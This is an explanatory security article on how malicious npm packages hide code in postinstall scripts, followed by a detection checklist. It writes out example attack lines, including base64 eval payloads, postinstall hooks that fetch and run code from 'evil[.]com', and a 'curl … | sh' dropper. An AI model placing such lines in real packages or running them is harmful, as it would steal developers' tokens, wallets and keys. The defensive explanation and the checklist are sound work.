The postinstall script is one of the most abused features in the npm ecosystem right now (2025–2026). When you run npm install, anything listed in the "postinstall" field of package.json executes automatically, with the full privileges of the user running the command. Attackers love it because the code runs silently, after the package is already “trusted” by the developer, and before most people even look at the source.
Here’s exactly how malicious packages are hiding and executing harmful code inside postinstall in real campaigns today.
Common Hiding Methods (What You See in the Wild)
1. Base64 combined with an eval or function constructor is the most frequently used pairing.
"scripts": {
"postinstall": "node -e \"$(echo 'dmFyIH...very long base64 string...' | base64 -d)\""
}
or
"postinstall": "node -e \"eval(Buffer.from('dmFyIH...','base64').toString())\""
The reasons that it works:
a) when you open the package.json and view it on npmjs.com, you won't be able to get access to the reality of those packages' payloads.
b) You have to decode the base64 yourself in order to see what's within.
2. Dynamic retrieve from a server under attacker control
"postinstall": "node -e \"require('https').get('https://evil[.]com/p', r=>r.on('data',d=>eval(d)))\""
or more obfuscated:
"postinstall": "import('https://tinyurl.com/evil-payload').then(m=>m.default())"
There is nothing harmful in the package itself; the payload is downloaded and run during installation.
3. Multi-stage obfuscation (Very Common in 2026)
"postinstall": "node -e \"(function(a){return Function('return '+a)()})('...obfuscated string...')\""
Alternatively, in a chained:
"postinstall": "node post.js"
However, the file's content was significantly obscured with:
a) Dead code segments
b) Tricks for concatenating strings
c) Renaming variables using a dictionary
d) Flattening control-flow
4. Hidden in other scripts and called from postinstall
"scripts":
{ "prepare": "echo 'hidden payload' >.git/hooks/pre-commit"
"postinstall": "npm run prepare && chmod +x.git/hooks/pre-commit"}
The payload is actually in a Git hook that will run later.
Examples of current campaigns that exist in the real world:
1. The ua-parser-js incidence is a package that originally contains clean code, however in later versions, post install code was included to fetch additional malicious code from the attacker's server, with the intention to gain access to npm tokens, cryptocurrency wallets and .env files.
2. There are many fake "AI code assistant" packages; for example: ai-autocomplete-offline, smart-coder-local, code-ai-no-net; all have post install code that decodes base64 and checks the computer for crypto wallet extensions and injects clipper.
3. There are also "Dev tool" droppers, where the post install code runs "curl https://evil[.]com/p | sh" which downloads a secondary infostealer.
Practical Detection Checklist (Before npm install)
1. Read the package every time.npm view malicious-package postinstall or simply cat node_modules/malicious-package/package.json | grep postinstall.
2. Look for strings that raise red flags: cat package.json | grep -i "eval\|Function\|base64\|https\:\/\/|curl\|wget\|exec\|import."
3. Make use of postinstall warning tools
a) The built-in npm-audit, which finds known harmful packages
b) The "executes code during install" danger is revealed by free scans on socket.dev.
c) Snyk, a free plan that shows postinstall and dynamic require/fetch d) Overnode/Lockfile-lint, which checks lockfile integrity
4. Use npx with --ignore-scripts first, or use Docker run --rm -it node:20 npm install suspicious-package in an isolated environment.
5. After install – check what just ran
cat ~/.npm/_logs/*debug* | grep postinstall
Any package that runs code automatically during install (postinstall, prepare, preinstall) should make you suspicious, especially if it’s a new or low-download package.
In 2026 the safest habit is:
npm install suspicious-package --ignore-scripts
Then manually inspect the scripts before running them.
One malicious postinstall can steal your npm token, crypto wallet seed, .env file or SSH key in seconds. That tiny "postinstall" line is often the difference between “just another dependency” and “full compromise”.
